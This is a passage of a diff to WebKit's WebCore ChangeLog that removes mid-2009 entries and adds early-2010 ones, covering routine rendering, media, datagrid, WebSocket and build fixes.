-        functions which manipulate drag images.
-
-        * platform/DragImage.h:
-        * platform/gtk/DragImageGtk.cpp:
-        (WebCore::dragImageSize):
-        (WebCore::deleteDragImage):
-        (WebCore::scaleDragImage):
-        (WebCore::createDragImageFromImage):
-
-2009-06-30  Maxime Simon  <simon.maxime@gmail.com>
-
-        Reviewed by Eric Seidel.
-
-        StorageNamespace.cpp build issue
-        https://bugs.webkit.org/show_bug.cgi?id=26859
-
-        Moved #endif //ENABLE(DOM_STORAGE) position
-        so that the build doesn't fail.
-        The namespace WebCore was started after the #if ENABLE(DOM_STORAGE)
-        but closed after the #endif.
-
-        * storage/StorageNamespace.cpp:
-
-2009-06-30  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Oliver Hunt.
-
-        <rdar://problem/7020825> HTMLMediaElement should not assume seeking is only possible in 
-        buffered time ranges
-
-        * html/HTMLMediaElement.cpp:
-            Don't ASSERT if the network state goes to Idle when when the ready state is 
-            HaveEnoughData or higher, it is perfectly legal.
-        (WebCore::HTMLMediaElement::setReadyState): 
-            Don't clear m_seeking after posting a 'seeking' event.
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::seek):
-            Do nothing when asked to seek to the same time we are already seeking to. Check requested
-            seek time against maxTimeSeekable, not maxTimeLoaded.
-        (WebCore::MediaPlayerPrivate::doSeek):
-            Don't bother stopping a movie that isn't playing. Minor cleanup to make the code more readable.
-        (WebCore::MediaPlayerPrivate::seekTimerFired):
-            Check requested seek time against maxTimeSeekable, not maxTimeLoaded.
-        (WebCore::MediaPlayerPrivate::updateStates):
-            A streaming movie has as much data as it needs once it reaches "playable", so 
-            set the ready state to HaveFutureData. A movie with metadata doesn't drop back 
-            to "have nothing" when seeking. A streaming movie doesn't use the network when paused.
-        (WebCore::MediaPlayerPrivate::timeChanged):
-            It may not be possible to seek to a specific time in a streamed movie but when seeking 
-            in a streaming movie QuickTime sets the time to closest time possible and posts a  
-            timechanged notification, so update m_seekTo so we can detect when the seek completes.
-
-2009-06-30  Steve Falkenburg  <sfalken@apple.com>
-
-        https://bugs.webkit.org/show_bug.cgi?id=26860
-
-        Reviewed by Sam Weinig.
-
-        Blacklist Yahoo Application State plug-in for versions prior to 1.0.0.6.
-        Earlier versions cause corruption crashes.
-
-        * plugins/win/PluginPackageWin.cpp:
-        (WebCore::PluginPackage::isPluginBlacklisted):
-
-2009-06-30  Dean Jackson  <dino@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/7005207> <video> in canvas broken with ACCEL_COMPOSITING
-        
-        Fix drawImage of video in CanvasRenderingContext2D when
-        accelerated compositing is enabled. This is done by
-        adding a new paint method to HTMLVideoElement that
-        is only called from canvas, which will create the software
-        renderer if necessary, but otherwise calls the regular
-        paint method. Meanwhile, add logic to the software video
-        renderer so that it can be created without calling repaint
-        every time it sees a new frame.
-        
-        * html/CanvasRenderingContext2D.cpp:
-        (WebCore::CanvasRenderingContext2D::drawImage):
-        * html/HTMLVideoElement.cpp:
-        (WebCore::HTMLVideoElement::paintCurrentFrameInContext):
-        * html/HTMLVideoElement.h:
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::MediaPlayer::paintCurrentFrameInContext):
-        * platform/graphics/MediaPlayer.h:
-        * platform/graphics/MediaPlayerPrivate.h:
-        (WebCore::MediaPlayerPrivateInterface::paintCurrentFrameInContext):
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::createQTMovie):
-        (WebCore::MediaPlayerPrivate::createQTVideoRenderer):
-        (WebCore::MediaPlayerPrivate::currentRenderingMode):
-        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
-        (WebCore::MediaPlayerPrivate::tearDownVideoRendering):
-        (WebCore::MediaPlayerPrivate::paintCurrentFrameInContext):
-
-2009-06-30  David Hyatt  <hyatt@apple.com>
-
-        Reviewed by Beth Dakin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26858
-
-        Get <dcol> elements reflected into the datagrid's column list.  Make sure columns get added/removed
-        properly.  (Attribute changes are still not caught.  That is coming in a separate patch.)
-
-        Added fast/dom/HTMLDataGridElement/DataGridColumns-dom.html
-
-        * html/DataGridColumn.h:
-        (WebCore::DataGridColumn::create):
-        (WebCore::DataGridColumn::setColumnList):
-        (WebCore::DataGridColumn::DataGridColumn):
-        * html/DataGridColumnList.cpp:
-        (WebCore::DataGridColumnList::add):
-        (WebCore::DataGridColumnList::remove):
-        (WebCore::DataGridColumnList::clear):
-        * html/DataGridColumnList.h:
-        * html/HTMLDataGridColElement.cpp:
-        (WebCore::HTMLDataGridColElement::HTMLDataGridColElement):
-        (WebCore::HTMLDataGridColElement::findDatagridAncestor):
-        (WebCore::HTMLDataGridColElement::ensureColumn):
-        (WebCore::HTMLDataGridColElement::insertedIntoTree):
-        (WebCore::HTMLDataGridColElement::removedFromTree):
-        (WebCore::HTMLDataGridColElement::sortable):
-        (WebCore::HTMLDataGridColElement::setSortable):
-        * html/HTMLDataGridColElement.h:
-        (WebCore::HTMLDataGridColElement::column):
-        (WebCore::HTMLDataGridColElement::setColumn):
-        (WebCore::HTMLDataGridColElement::datagrid):
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::setDataSource):
-        (WebCore::HTMLDataGridElement::dataSource):
-
-2009-06-30  Jeremy Orlow (jorlow@chromium.org)
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26852
-
-        Fix some minor build issues in the v8 bindings.
-
-        * bindings/v8/custom/V8StorageCustom.cpp:
-        (WebCore::V8Custom::v8StorageNamedPropertyEnumerator):
-        (WebCore::storageGetter):
-        (WebCore::storageSetter):
-        (WebCore::storageDeleter):
-        * storage/StorageArea.cpp:
-
-2009-06-30  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Chromium Linux: use different fonts for each script run.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26853
-
-        Previously, when rendering complex text, we picked a single font which
-        could render all the glyphs needed for the run. However, this meant
-        that sometimes lines were rendered with, for example, [LATIN, THAI,
-        LATIN] and we could end up with a different font for the Latin parts
-        than for lines without Thai in them.
-
-        With this patch, we pick a font for each script run.
-
-        This change is covered by existing layout tests.
-
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::Font::drawGlyphs):
-        (WebCore::TextRunWalker::TextRunWalker):
-        (WebCore::TextRunWalker::~TextRunWalker):
-        (WebCore::TextRunWalker::nextScriptRun):
-        (WebCore::TextRunWalker::fontPlatformDataForScriptRun):
-        (WebCore::TextRunWalker::setupFontForScriptRun):
-        (WebCore::TextRunWalker::allocHarfbuzzFont):
-        (WebCore::setupForTextPainting):
-        (WebCore::Font::drawComplexText):
-        (WebCore::Font::floatWidthForComplexText):
-        (WebCore::Font::offsetForPositionForComplexText):
-        (WebCore::Font::selectionRectForComplexText):
-        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
-        (WebCore::FontPlatformData::setupPaint):
-
-2009-06-30  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt, Dan Bernstein.
-        
-        <rdar://problem/6191676> Redraw issues scrolling overflow:scroll div with compositing
-
-        There are two parts to this fix. First, if a compositing layer has overflow clipping
-        or a mask, then the compositing layer does not need to be sized to encompass all
-        non-composited children.
-        
-        Second, when scrolling, we have to back up to the compositing ancestor and have
-        it reposition descendant compositing layers, because overflow doesn't follow
-        the z-order tree.
-        
-        Test: compositing/overflow/overflow-scroll.html
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::layout):
-        Pass the UpdateCompositingLayers flag when updating layers after layout, so that
-        we can reposition compositing layers if we're not about to do a layer rebuild.
-        
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::updateLayerPositions):
-        Only update compositing layers if the flag is set.
-        
-        (WebCore::RenderLayer::scrollToOffset):
-        Do compositing layer updates from the compositing ancestor in one fell swoop.
-
-        * rendering/RenderLayer.h:
-        Replace the unused FullUpdate flag with one that allows us to specify whether
-        compositing layers should be updated.
-        
-        * rendering/RenderLayerBacking.cpp:
-        (WebCore::RenderLayerBacking::updateAfterLayout):
-        * rendering/RenderLayerBacking.h:
-        New param that we can pass to updateCompositingDescendantGeometry to control
-        whether the update goes deep.
+        (WebCore::RenderBoxModelScaleObserver::shouldPaintBackgroundAtLowQuality):
 
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::calculateCompositedBounds):
-        We can return earlier if this is not a self-painting layer.
-        If the layer has overflow clip or a mask, then the composited bounds are just the
-        local bounds, excluding descendants.
-        
-        (WebCore::RenderLayerCompositor::updateCompositingDescendantGeometry):
-        * rendering/RenderLayerCompositor.h:
-        Renamed from updateCompositingChildrenGeometry, and added a flag that allows
-        us to do a deep update.
-
-2009-06-30  Alexey Proskuryakov  <ap@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26764
-        Uncaught NOT_FOUND_ERR: DOMException 8 loading empty text file
-
-        Test: fast/parser/empty-text-resource.html
-
-        * loader/TextDocument.cpp: (WebCore::TextTokenizer::finish): Create document tree if it
-        hasn't been created yet.
-
-2009-06-30  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Renamed scrollbarUnderPoint to scrollbarAtPoint.
-
-        * page/EventHandler.cpp:
-        (WebCore::EventHandler::hitTestResultAtPoint):
-        (WebCore::EventHandler::handleMousePressEvent):
-        (WebCore::EventHandler::handleMouseMoveEvent):
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::scrollbarAtPoint):
-        * platform/ScrollView.h:
-        * platform/chromium/PopupMenuChromium.cpp:
-        (WebCore::PopupListBox::handleMouseDownEvent):
-        (WebCore::PopupListBox::handleMouseMoveEvent):
-
-2009-06-30  Oliver Hunt  <oliver@apple.com>
-
-        Reviewed by Geoff Garen.
-
-        <rdar://problem/6960286> CrashTracer: [REGRESSION] 1120 crashes in Safari at com.apple.WebCore WebCore::JSLazyEventListener::parseCode const 62
-
-        <select> elements and other elements the produce popups can keep their popups
-        live across a page load.  If this occurs and the <select> element has an
-        onchange handler it is possible to get into a state where we try to execute
-        JS on a page that no longer has an execution context. 
-
-        * bindings/js/JSLazyEventListener.cpp:
-        (WebCore::JSLazyEventListener::parseCode):
-          Be paranoid and add a null check, but assert as well because we shouldn't
-          actually get to this point.
-        * rendering/RenderMenuList.cpp:
-        (WebCore::RenderMenuList::valueChanged):
-
-2009-06-30  Drew Wilson  <atwilson@google.com>
-
-        Reviewed by David Levin.
-
-        <https://bugs.webkit.org/show_bug.cgi?id=25435>
-
-        Added support for sending MessagePorts to/from Workers via postMessage().
-
-        * bindings/js/JSWorkerContextCustom.cpp:
-        (WebCore::JSWorkerContext::messageChannel):
-        Exposes MessageChannel constructor WorkerContext.
-        * bindings/js/JSWorkerCustom.cpp:
-        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        Now correctly handles being instantiated from within a Worker.
-       * platform/CrossThreadCopier.h:
-        (WebCore::GenericWorkerTaskTraits<PassOwnPtr>):
-        Added support for passing PassOwnPtr as argument to GenericWorkerTask
-       * workers/GenericWorkerTask.h:
-        (WebCore::):
-        * workers/Worker.cpp:
-        (WebCore::Worker::postMessage):
-        Now handles disentangling/entangling MessagePorts sent to/from via postMessage.
-        (WebCore::Worker::dispatchMessage):
-        * workers/Worker.h:
-        * workers/Worker.idl:
-        Added an optional MessagePort argument to postMessage()
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::hasPendingActivity):
-        Workers now report pending activity whenever there are remotely entangled ports.
-        (WebCore::WorkerContext::postMessage):
-        Now handles disentangling/entangling MessagePorts sent to/from via postMessage.
-        (WebCore::WorkerContext::dispatchMessage):
-        * workers/WorkerContext.h:
-        * workers/WorkerContext.idl:
-        Added an optional MessagePort argument to postMessage()
-        * workers/WorkerContextProxy.h:
-        * workers/WorkerMessagingProxy.cpp:
-        Updated messaging infrastructure to transport an optional MessagePort/MessagePortChannel.
-        (WebCore::MessageWorkerContextTask::create):
-        (WebCore::MessageWorkerContextTask::MessageWorkerContextTask):
-        (WebCore::MessageWorkerContextTask::performTask):
-        (WebCore::MessageWorkerTask::create):
-        (WebCore::MessageWorkerTask::MessageWorkerTask):
-        (WebCore::MessageWorkerTask::performTask):
-        (WebCore::WorkerMessagingProxy::postMessageToWorkerObject):
-        (WebCore::WorkerMessagingProxy::postMessageToWorkerContext):
-        * workers/WorkerMessagingProxy.h:
-        Added additional postMessage() API that accepts a MessagePort
-        * workers/WorkerObjectProxy.h:
-        Added additional postMessage() API that accepts a MessagePort
-
-2009-06-30  Adam Langley  <agl@google.com>
-
-        Reviewed by Eric Seidel.
-
-        Chromium: Add complex text support on Linux.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25068
-
-        This patch adds complex text support on Linux using Harfbuzz. It's not
-        the fastest code possible: some caching of font tables will certainly
-        be required. However, it's probably the simplest code that works.
-
-        This will require checking in new baselines in the Chromium tree for
-        those layout tests which now pass.
-
-        * platform/graphics/chromium/FontLinux.cpp:
-        (WebCore::Font::drawGlyphs):
-        (WebCore::truncateFixedPointToInteger):
-        (WebCore::TextRunWalker::TextRunWalker):
-        (WebCore::TextRunWalker::~TextRunWalker):
-        (WebCore::TextRunWalker::reset):
-        (WebCore::TextRunWalker::setXOffsetToZero):
-        (WebCore::TextRunWalker::rtl):
-        (WebCore::TextRunWalker::setBackwardsIteration):
-        (WebCore::TextRunWalker::nextScriptRun):
-        (WebCore::TextRunWalker::glyphs):
-        (WebCore::TextRunWalker::length):
-        (WebCore::TextRunWalker::xPositions):
-        (WebCore::TextRunWalker::advances):
-        (WebCore::TextRunWalker::width):
-        (WebCore::TextRunWalker::logClusters):
-        (WebCore::TextRunWalker::numCodePoints):
-        (WebCore::TextRunWalker::widthOfFullRun):
-        (WebCore::TextRunWalker::allocHarfbuzzFont):
-        (WebCore::TextRunWalker::deleteGlyphArrays):
-        (WebCore::TextRunWalker::createGlyphArrays):
-        (WebCore::TextRunWalker::expandGlyphArrays):
-        (WebCore::TextRunWalker::shapeGlyphs):
-        (WebCore::TextRunWalker::setGlyphXPositions):
-        (WebCore::setupForTextPainting):
-        (WebCore::fontPlatformDataForTextRun):
-        (WebCore::Font::drawComplexText):
-        (WebCore::Font::floatWidthForComplexText):
-        (WebCore::glyphIndexForXPositionInScriptRun):
-        (WebCore::Font::offsetForPositionForComplexText):
-        (WebCore::Font::selectionRectForComplexText):
-        * platform/graphics/chromium/HarfbuzzSkia.cpp: Added.
-        (WebCore::SkiaScalarToHarfbuzzFixed):
-        (WebCore::stringToGlyphs):
-        (WebCore::glyphsToAdvances):
-        (WebCore::canRender):
-        (WebCore::getOutlinePoint):
-        (WebCore::getGlyphMetrics):
-        (WebCore::getFontMetric):
-        (WebCore::harfbuzzSkiaGetTable):
-
-2009-06-30  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
+2010-02-02  Kent Tamura  <tkent@chromium.org>
 
-        <rdar://problem/7019799> Slow loading MediaDocument can fall back to plug-in unnecessarily
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::updateStates):
-            Always fall back to a plug-in if m_hasUnsupportedTracks is set.
-        (WebCore::MediaPlayerPrivate::disableUnsupportedTracks):
-            Set m_hasUnsupportedTracks if we disable a track.
-
-2009-06-30  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fix inverted if/else that's causing a layout test in src.chromium.org to fail.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26820
-
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::GCPrologueVisitor::visitDOMWrapper): if (port2), not if (!port2).
+        Reviewed by Darin Adler.
 
-2009-06-30  Dan Bernstein  <mitz@apple.com>
+        rangeOverflow/rangeUnderflow support for type=datetime, datetime-local,
+        month, time and week
+        https://bugs.webkit.org/show_bug.cgi?id=34483
 
-        Reviewed by Dave Hyatt.
+        Tests: fast/forms/ValidityState-rangeOverflow.html
+               fast/forms/ValidityState-rangeUnderflow.html
 
-        - fix <rdar://problem/6946611> REGRESSION (r30673): Shade10:" D_Snap
-          to Grid" window is clipping
-
-        Added an app-specific quirk to revert the behavior of <link> elements
-        to the way it was before r30673, namely that if the rel attribute
-        is not "stylesheet" but the type attribute contains "text/css", the
-        link behaves as a stylesheet link.
+        * html/HTMLInputElement.cpp:
+          Defines the hard limits for the types as double values.
+        (WebCore::HTMLInputElement::rangeUnderflow): Supports the types.
+        (WebCore::HTMLInputElement::rangeOverflow): Supports the types.
+        (WebCore::HTMLInputElement::minimum): Supports the types.
+        (WebCore::HTMLInputElement::maximum): Supports the types.
 
-        * WebCore.base.exp: Exported setTreatsAnyTextCSSLinkAsStylesheet().
-        * html/HTMLLinkElement.cpp:
-        (WebCore::HTMLLinkElement::process): Check
-            Settings::treatsAnyTextCSSLinkAsStylesheet() and if true, allow a
-            style sheet link if the type contains "text/css".
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-            Initialize m_treatsAnyTextCSSLinkAsStylesheet.
-        (WebCore::Settings::setTreatsAnyTextCSSLinkAsStylesheet): Added.
-        * page/Settings.h:
-        (WebCore::Settings::treatsAnyTextCSSLinkAsStylesheet): Added.
+2010-02-02  Fumitoshi Ukai  <ukai@chromium.org>
 
-2009-06-30  Adrien Nader  <camaradetux@gmail.com>
+        Reviewed by Alexey Proskuryakov.
 
-        Reviewed by Xan Lopez.
+        WebSocket set pending activity to avoid unexpected GC.
+        https://bugs.webkit.org/show_bug.cgi?id=34014
 
-        Fix typo in GNUMakefile.am: it reads WebCOre instead of WebCore.
+        Test: websocket/tests/websocket-pending-activity.html
 
-        * GNUmakefile.am:
+        * websockets/WebSocket.cpp:
+        (WebCore::WebSocket::connect): set pending activity until it receives didClose. 
+        (WebCore::WebSocket::contextDestroyed): check socket is already closed.
+        (WebCore::WebSocket::stop): close the connection and unset pending activity when it stops.
+        (WebCore::WebSocket::didClose): unset pending activity.
+        * websockets/WebSocket.h:
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didReceiveData): protect this while it processes received data.
 
-2009-06-30  Jan Michael Alonzo  <jmalonzo@webkit.org>
+2010-02-02  Gustavo Noronha Silva  <gns@gnome.org>
 
-        Reviewed by Xan Lopez.
+        No review, rolling out r54261.
+        http://trac.webkit.org/changeset/54261
+        https://bugs.webkit.org/show_bug.cgi?id=34435
 
-        [Gtk] Turn on ENABLE_DATAGRID so we can run the layout tests.
+        Causes crashes on release builds
 
         * GNUmakefile.am:
+        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
+        (WebCore::mediaPlayerPrivateSourceChangedCallback):
+        * platform/gtk/GOwnPtrGtk.cpp: Removed.
+        * platform/gtk/GOwnPtrGtk.h: Removed.
 
-2009-06-30  Raju Kunnath  <raju.kunnath@nokia.com>
-
-        Reviewed by Simon Hausmann.
-
-        <https://bugs.webkit.org/show_bug.cgi?id=26752>
-
-        [Qt] Windows release build issue with Qt4.5 due to -GL flag on msvc2005 and msvc2008. 
-
-        * WebCore.pro: Removed -GL compiler option for win32-msvc2005|win32-msvc2008.
-
-2009-06-30  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        Initialize member variables in the right order. Fixes compiler
-        warning.
-
-        * platform/image-decoders/bmp/BMPImageReader.cpp:
-        (WebCore::BMPImageReader::BMPImageReader):
-
-2009-06-29  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26831
-        Fix compiler warning in WorkerLoaderProxy.h
-
-        Forward declaration of a class within a class is not allowed,
-        since the compiler can't know if the declaration is legal at that
-        point. This gives the following compiler warning:
-
-        ../../WebCore/workers/WorkerLoaderProxy.h:40: warning: declaration
-        "class WebCore::ScriptExecutionContext::Task" does not declare
-        anything
-
-        Include the full ScriptExecutionHeader header instead.
-
-        * workers/WorkerLoaderProxy.h:
-
-2009-06-29  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Jan Alonzo.
-
-        Remove unused function.
-
-        * plugins/gtk/PluginPackageGtk.cpp:
-
-2009-06-29  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dan Bernstein.
-
-        Change RenderLayer::updateLayerPositions() to use a bitmask instead of two
-        boolean arguments. FullUpdate is unused at present, but will be used soon.
-
-        * page/FrameView.cpp:
-        (WebCore::FrameView::layout):
-        * rendering/RenderLayer.cpp:
-        (WebCore::RenderLayer::updateLayerPositions):
-        (WebCore::RenderLayer::scrollToOffset):
-        * rendering/RenderLayer.h:
-        (WebCore::RenderLayer::):
-
-2009-06-29  Nate Chapin  <japhet@chromium.org>
+2010-02-02  David Levin  <levin@chromium.org>
 
-        Reviewed by Dimitri Glazkov.
+        No review, rolling out r54245.
+        http://trac.webkit.org/changeset/54245
+        https://bugs.webkit.org/show_bug.cgi?id=34492
 
-        Fix one more bad merge in V8Proxy.
+        This patch seems to have broken thousands of chromium tests on
+        Windows (and since it was for chromium, I'm rolling it out).
 
-        https://bugs.webkit.org/show_bug.cgi?id=26819
+        * dom/Element.cpp:
+        (WebCore::Element::baseURI):
 
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::setDOMException): setDOMExceptionHelper() instead of convertToV8Object().
+2010-02-02  Steve Falkenburg  <sfalken@apple.com>
 
-2009-06-29  Sam Weinig  <sam@webkit.org>
+        Reviewed by Darin Adler.
 
-        Reviewed by Mark Rowe.
+        Copyright year updating for Windows version resources should be automatic
+        https://bugs.webkit.org/show_bug.cgi?id=34503
 
-        Remove more unused scons support.
+        * WebCore.vcproj/QTMovieWin.rc:
 
-        * SConstruct: Removed.
+2010-02-02  Dimitri Glazkov  <dglazkov@chromium.org>
 
-2009-06-29  Sam Weinig  <sam@webkit.org>
+        No review, rolling out r54257.
+        http://trac.webkit.org/changeset/54257
+        https://bugs.webkit.org/show_bug.cgi?id=34491
 
-        Reviewed by Dave Hyatt.
+        [Chromium] broke thousands of Win tests and a few of Linux tests.
 
-        Fix some incorrect create functions.
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::beginTransparencyLayer):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::applyAntiAliasedClipPaths):
+        * platform/graphics/skia/PlatformContextSkia.h:
 
-        * html/DataGridColumn.h:
-        (WebCore::DataGridColumn::create):
-        * html/DataGridColumnList.h:
-        (WebCore::DataGridColumnList::create):
+2010-02-02  Philippe Normand  <pnormand@igalia.com>
 
-2009-06-29  Sam Weinig  <sam@webkit.org>
+        Reviewed by Gustavo Noronha Silva.
 
-        Reviewed by Dave Hyatt.
+        [Gtk] libsoup critical warning in media player http cookies injection code
+        https://bugs.webkit.org/show_bug.cgi?id=34435
 
-        Remove initialize method from DataGridDataSource and add
-        DOMDataGridDataSource.
+        Fixed the critical warning and refactored the
+        User-Agent/Referer/cookies injection code, in that order. Previous
+        order (cookies first) was wrong because if cookies injection could
+        not be done neither the User-Agent not Referer were injected. Also
+        started a non-JSC-specific, gtk-specific GOwnPtr module.
 
         * GNUmakefile.am:
-        * WebCore.pro:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * bindings/js/JSDataGridDataSource.cpp:
-        * bindings/js/JSDataGridDataSource.h:
-        * bindings/js/JSHTMLDataGridElementCustom.cpp:
-        (WebCore::JSHTMLDataGridElement::setDataSource):
-        * html/DOMDataGridDataSource.cpp: Added.
-        (WebCore::DOMDataGridDataSource::DOMDataGridDataSource):
-        (WebCore::DOMDataGridDataSource::~DOMDataGridDataSource):
-        * html/DOMDataGridDataSource.h: Added.
-        (WebCore::DOMDataGridDataSource::create):
-        (WebCore::DOMDataGridDataSource::isDOMDataGridDataSource):
-        (WebCore::asDOMDataGridDataSource):
-        * html/DataGridDataSource.h:
-        (WebCore::DataGridDataSource::isDOMDataGridDataSource):
-        (WebCore::DataGridDataSource::isJSDataGridDataSource):
-        * html/HTMLDataGridElement.cpp:
-        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
-        (WebCore::HTMLDataGridElement::setDataSource):
-        (WebCore::HTMLDataGridElement::dataSource):
-        * html/HTMLDataGridElement.h:
-
-2009-06-29  Nate Chapin  <japhet@chromium.org>
-
-        Reviewed by Dimitri Glazkov.
-
-        Fix a couple of bad merge items from my previous V8Proxy patch.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26813
-
-        * bindings/v8/V8Collection.h:
-        (WebCore::nodeCollectionNamedPropertyGetter):  Fix a bad function name that slipped through.
-        * bindings/v8/V8Proxy.cpp:
-        (WebCore::V8Proxy::setDOMException):  Fix a bad merge that caused a couple of lines of extraneous, breaking code to get in.
-
-2009-06-29  Chris Marrin  <cmarrin@apple.com>
-
-        Reviewed by Simon Fraser  <simon.fraser@apple.com>.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26706
-
-        Fixed crash due to dereference of m_toStyle
-
-        * page/animation/ImplicitAnimation.cpp:
-        (WebCore::ImplicitAnimation::isTargetPropertyEqual):
-
-2009-06-29  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/7014813> Ask media engine if a movie is streamed or downloaded.
-
-        * WebCore.base.exp: 
-            Export _wkQTMovieGetType
-
-        * platform/graphics/MediaPlayer.cpp:
-        (WebCore::MediaPlayer::hasSingleSecurityOrigin):
-            Move to keep with other non-callback functions.
-        (WebCore::MediaPlayer::movieLoadType):
-            New, returns the movie type.
-        * platform/graphics/MediaPlayer.h:
-            Declare MovieLoadType enum and movieLoadType method.
-
-        * platform/graphics/MediaPlayerPrivate.h:
-        (WebCore::MediaPlayerPrivateInterface::movieLoadType):
-            Default implementation of movieLoadType
-
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
-        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
-        (WebCore::MediaPlayerPrivate::createQTMovie):
-            Don't base m_isStreaming on protocol, there are other types of streaming movies.
-        (WebCore::MediaPlayerPrivate::maxTimeBuffered):
-            Don't assume all streams are unbuffered.
-        (WebCore::MediaPlayerPrivate::updateStates):
-            Update m_isStreaming once we have metadata.
-        (WebCore::MediaPlayerPrivate::disableUnsupportedTracks):
-            Tracks that are disabled to begin with shouldn't be included in m_enabledTrackCount.
-        (WebCore::MediaPlayerPrivate::movieLoadType):
-            New, return movie type.
-
-        * platform/mac/WebCoreSystemInterface.h:
-        * platform/mac/WebCoreSystemInterface.mm:
-            Add wkQTMovieGetType.
-
-2009-06-29  Alice Liu  <alice.liu@apple.com>
-
-        Fixed <rdar://problem/6930280> Reproducible crash at USA Today photo gallery
-
-        Reviewed by Anders Carlsson.
-
-        No test added because the crash requires a flash plugin
-
-        * plugins/win/PluginMessageThrottlerWin.cpp:
-        Rely on the hWnd of the plugin to tell us whether the PluginView has 
-        been deleted during execution of its wndProc.
-        (WebCore::PluginMessageThrottlerWin::messageThrottleTimerFired):
-
-2009-06-29  Dmitry Titov  <dimich@chromium.org>
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26811
-         [Chromium] Remove a flag and functions used to enable workers in runtime.
-
-        * bindings/v8/WorkerContextExecutionProxy.cpp:
-        * bindings/v8/WorkerContextExecutionProxy.h:
-
-2009-06-29  Simon Fraser  <simon.fraser@apple.com>
-
-        Reviewed by Dave Hyatt.
-        
-        <rdar://problem/6976712> Text antialiasing problems when rendering into compositing layers.
-        
-        Improve the appearance of text in compositing layers by making use of
-        CA's layer geometry flipping, rather that doing it ourselves with a flip
-        transform. This allows CG to use font autohinting in the layer text.
-
-        * platform/graphics/GraphicsLayer.h:
-        (WebCore::GraphicsLayer::setGeometryOrientation):
-        (WebCore::GraphicsLayer::geometryOrientation):
-        New methods to set whether this layer uses flipped geometry.
-        
-        * platform/graphics/mac/GraphicsLayerCA.h:
-        * platform/graphics/mac/GraphicsLayerCA.mm:
-        (WebCore::GraphicsLayerCA::setGeometryOrientation):
-        (WebCore::GraphicsLayerCA::geometryOrientation):
-        Subclass in order to call into CA
-        
-        (WebCore::GraphicsLayerCA::setContentsLayer):
-        Now that CA is doing the geometry flipping, we no longer need to flip the content
-        layers for image and video manually
-        
-        * rendering/RenderLayerCompositor.cpp:
-        (WebCore::RenderLayerCompositor::ensureRootPlatformLayer):
-        Turn on flipping on the root layer.
-
-2009-06-29  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
-
-        Reviewed by Adam Treat.
-
-        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26246
-
-        Implement most WML specific <select> element features.
-        Add 'iname' / 'ivalue' support and support variable references.
-
-        Add two tests covering most select/variable related functionality.
-        Needs more tests when adding full 'iname' / 'ivalue' support (used in conjuction with onpick).
-
-        Tests: http/tests/wml/post-data-to-server.html
-               wml/select-element-variables.html
-
-        * dom/SelectElement.cpp:
-        (WebCore::SelectElement::optionCount): Refactored from HTMLSelectElement::length() for use within HTML & WML.
-        * dom/SelectElement.h:
-        * html/HTMLSelectElement.cpp:
-        (WebCore::HTMLSelectElement::length): Use new SelectElement::optionCount() function. (no functional changes for HTML).
-        * wml/WMLCardElement.cpp:
-        (WebCore::WMLCardElement::handleIntrinsicEventIfNeeded): Activated commented code taking care of WMLSelectElement initialization.
-        * wml/WMLSelectElement.cpp: Add a bunch of new code handling WML specific feature processing.
